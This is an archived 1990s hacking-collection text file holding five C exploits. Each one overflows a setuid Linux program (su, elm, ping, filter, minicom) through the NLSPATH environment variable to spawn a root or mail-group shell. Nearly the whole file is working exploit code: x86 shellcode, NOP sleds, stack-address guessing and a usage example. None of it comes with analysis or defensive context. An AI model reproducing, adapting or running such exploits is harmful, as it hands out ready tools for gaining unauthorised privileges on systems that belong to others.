home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / nlspath.txt < prev    next >
Text File  |  1998-07-17  |  5KB  |  243 lines

  1.  
  2. ======================================================================
  3.  
  4. /*
  5.  * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  6.  * Copyright (c) 1997 by Solar Designer
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12.  
  13. char *shellcode =
  14.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  15.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  16.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  17.   "\xcd\x80/"
  18.   "/bin/sh"
  19.   "0";
  20.  
  21. char *get_sp() {
  22.    asm("movl %esp,%eax");
  23. }
  24.  
  25. #define bufsize 2048
  26. char buffer[bufsize];
  27.  
  28. main() {
  29.   int i;
  30.  
  31.   for (i = 0; i < bufsize - 4; i += 4)
  32.     *(char **)&buffer[i] = get_sp() - 3072;
  33.  
  34.   memset(buffer, 0x90, 512);
  35.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  36.  
  37.   buffer[bufsize - 1] = 0;
  38.  
  39.   setenv("NLSPATH", buffer, 1);
  40.  
  41.   execl("/bin/su", "/bin/su", NULL);
  42. }
  43.  
  44.  
  45.  
  46. =====================================================================
  47.  
  48. /*
  49.        Linux elm exploit. Gives effective group id of mail.
  50.  */
  51.  
  52. #include <stdio.h>
  53. #include <stdlib.h>
  54. #include <unistd.h>
  55.  
  56. char *shellcode =
  57.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  58.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  59.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  60.   "\xcd\x80/"
  61.   "/bin/sh"
  62.   "0";
  63.  
  64. char *get_sp() {
  65.    asm("movl %esp,%eax");
  66. }
  67.  
  68. #define bufsize 2048
  69. char buffer[bufsize];
  70.  
  71. main(argc, argv) 
  72. unsigned int argc;
  73. char **argv;
  74. {
  75.   int i;
  76.  
  77.   for (i = 0; i < bufsize - 4; i += 4)
  78.     *(char **)&buffer[i] = get_sp() - 3300 ;
  79.  
  80.   memset(buffer, 0x90, 512);
  81.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  82.  
  83.   buffer[bufsize - 1] = 0;
  84.  
  85.   setenv("NLSPATH", buffer, 1);
  86.  
  87.   execl("/usr/bin/elm", "/usr/bin/elm", NULL);
  88. }
  89.  
  90.  
  91. ====================================================================
  92.  
  93. /*
  94.  *    ping-exploit (gives root via nlspath environment variable)
  95.  */
  96.  
  97. #include <stdio.h>
  98. #include <stdlib.h>
  99. #include <unistd.h>
  100.  
  101. char *shellcode =
  102.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  103.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  104.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  105.   "\xcd\x80/"
  106.   "/bin/sh"
  107.   "0";
  108.  
  109. char *get_sp() {
  110.    asm("movl %esp,%eax");
  111. }
  112.  
  113. #define bufsize 2048
  114. char buffer[bufsize];
  115.  
  116. main() {
  117.   int i;
  118.  
  119.   for (i = 0; i < bufsize - 4; i += 4)
  120.     *(char **)&buffer[i] = get_sp() - 3029;
  121.  
  122.   memset(buffer, 0x90, 512);
  123.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  124.  
  125.   buffer[bufsize - 1] = 0;
  126.  
  127.   setenv("NLSPATH", buffer, 1);
  128.  
  129.   execl("/bin/ping", "/bin/ping", NULL);
  130. }
  131.  
  132.  
  133. =======================================================================
  134.  
  135. /*
  136.  * Exploit for /usr/bin/filter - get egid of mail
  137.  * Usage: cc -o f f.c
  138.  *        ./f 750
  139.  *        $ id
  140.  *        uid=501(foo) gid=100(users) egid=12(mail)
  141.  */
  142.  
  143. #include <stdio.h>
  144. #include <stdlib.h>
  145. #include <unistd.h>
  146.  
  147. char *shellcode =
  148.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  149.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  150.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  151.   "\xcd\x80/"
  152.   "/bin/sh"
  153.   "0";
  154.  
  155. char *get_sp() {
  156.    asm("movl %esp,%eax");
  157. }
  158.  
  159. #define bufsize 2048
  160. char buffer[bufsize];
  161.  
  162. main(int argc, char **argv) 
  163. {
  164.  
  165.   int i;
  166.  
  167.   for (i = 0; i < bufsize - 4; i += 4)
  168.     *(char **)&buffer[i] = get_sp() - atoi(argv[1]);
  169.  
  170.   memset(buffer, 0x90, 512);
  171.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  172.  
  173.   buffer[bufsize - 1] = 0;
  174.  
  175.   setenv("NLSPATH", buffer, 1);
  176.  
  177.   execl("/usr/bin/filter", "filter", NULL);
  178. }
  179.  
  180. =====================================================================
  181.  
  182.  /* Minicom Exploit by _PHANTOM_ */
  183. #include <unistd.h>
  184. #include <stdio.h>
  185. #include <stdlib.h>
  186. #include <fcntl.h>
  187. #include <sys/stat.h>
  188.  
  189. #define path "/usr/bin/minicom"
  190. #define BUFFER_SIZE 1024
  191. #define DEFAULT_OFFSET 50
  192.  
  193. u_long get_esp() 
  194.   __asm__("movl %esp, %eax"); 
  195.  
  196. }
  197.  
  198. main(int argc, char **argv)
  199. {
  200.   u_char execshell[] = 
  201.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  202.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  203.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  204.  
  205.    char *buff = NULL;
  206.    unsigned long *addr_ptr = NULL;
  207.    char *ptr = NULL;
  208.    
  209.    int i;
  210.    int ofs = DEFAULT_OFFSET;
  211.    
  212.    buff = malloc(4096);
  213.    if(!buff)
  214.    {
  215.       printf("can't allocate memory\n");
  216.       exit(0);
  217.    }
  218.    ptr = buff;
  219.  
  220.    /* fill start of buffer with nops */
  221.  
  222.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  223.    ptr += BUFFER_SIZE-strlen(execshell);
  224.  
  225.    /* stick asm code into the buffer */
  226.  
  227.    for(i=0;i < strlen(execshell);i++)
  228.       *(ptr++) = execshell[i];
  229.    addr_ptr = (long *)ptr;
  230.    for(i=0;i < (8/4);i++)
  231.       *(addr_ptr++) = get_esp() + ofs;
  232.    ptr = (char *)addr_ptr;
  233.    *ptr = 0;
  234.  
  235.    (void)alarm((u_int)0);
  236.    setenv("NLSPATH",buff,1);
  237.    execl(path, "minicom", buff, NULL);
  238. }
  239.  
  240.  
  241. ========================================================================================
  242.